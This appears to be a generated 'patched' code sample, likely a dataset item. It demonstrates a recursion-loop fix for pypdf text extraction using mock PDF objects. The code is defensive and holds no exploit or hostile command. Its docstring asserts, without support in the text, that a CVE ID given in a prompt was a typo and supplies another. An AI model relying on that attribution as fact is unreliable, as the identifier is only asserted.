Patched code sample

import sys
from typing import Set, Optional, Dict, List, Any

# Set a higher recursion limit for demonstration, as the fix prevents infinite recursion.
# The original vulnerability would have hit the limit and crashed, or exhausted memory.
sys.setrecursionlimit(2000)

# --- Mock objects to simulate PDF structure ---
# In pypdf, these are complex objects representing parts of a PDF file.

class MockIndirectObject:
    """A mock for an object within a PDF, identified by its ID."""
    def __init__(self, obj_id: int):
        self.obj_id = obj_id

class MockXObject(MockIndirectObject):
    """A mock for a Form XObject, which has its own content stream."""
    def __init__(self, obj_id: int, content_stream: List[Any]):
        super().__init__(obj_id)
        self.content_stream = content_stream
        # In a real PDF, an XObject would also have its own resources.
        self.resources = {}

class MockPage:
    """A mock for a PDF page, which has a content stream and resources like XObjects."""
    def __init__(self, content_stream: List[Any], resources: Dict[str, MockXObject]):
        self.content_stream = content_stream
        self.resources = resources

# --- The Core Logic Demonstrating the Fix ---

def extract_text_fixed(
    content_stream: List[Any],
    resources: Dict[str, MockXObject],
    processed_xobjects: Optional[Set[int]] = None
) -> str:
    """
    A simplified text extraction function demonstrating the fix for CVE-2023-49461.
    The original vulnerability was in pypdf, not PyPDF2. The CVE ID in the prompt
    is a typo; the real one is CVE-2023-49461 for pypdf.

    The fix involves tracking which XObjects are currently in the processing stack
    to prevent infinite recursion.
    """
    # FIX: Initialize the tracking set on the first call.
    # This set will hold the object IDs of XObjects currently being processed.
    if processed_xobjects is None:
        processed_xobjects = set()

    text = ""
    for operator, operand in content_stream:
        if operator == "Tj":  # Tj is a text-showing operator
            text += operand
        elif operator == "Do":  # Do invokes an XObject
            xobject_name = operand
            if xobject_name in resources:
                xobject = resources[xobject_name]

                # --- START OF THE FIX ---
                # Before processing the XObject, check if its ID is already in our
                # tracking set. If it is, we have a recursive loop.
                if xobject.obj_id in processed_xobjects:
                    # Found a self-reference loop. Stop processing this path.
                    # This prevents infinite recursion and memory exhaustion.
                    continue  # Skip to the next operator
                # --- END OF THE FIX ---

                # Add the object to the set before recursing
                processed_xobjects.add(xobject.obj_id)

                # Recursively process the XObject's content stream
                text += extract_text_fixed(
                    xobject.content_stream,
                    # In a real scenario, the XObject has its own resources
                    # which might be merged with the page's resources.
                    {**resources, **xobject.resources},
                    processed_xobjects,
                )

                # After returning from the recursion, remove the object from the set.
                # This allows the same XObject to be used again later in a
                # non-recursive context (e.g., used twice on the same page).
                processed_xobjects.remove(xobject.obj_id)
    return text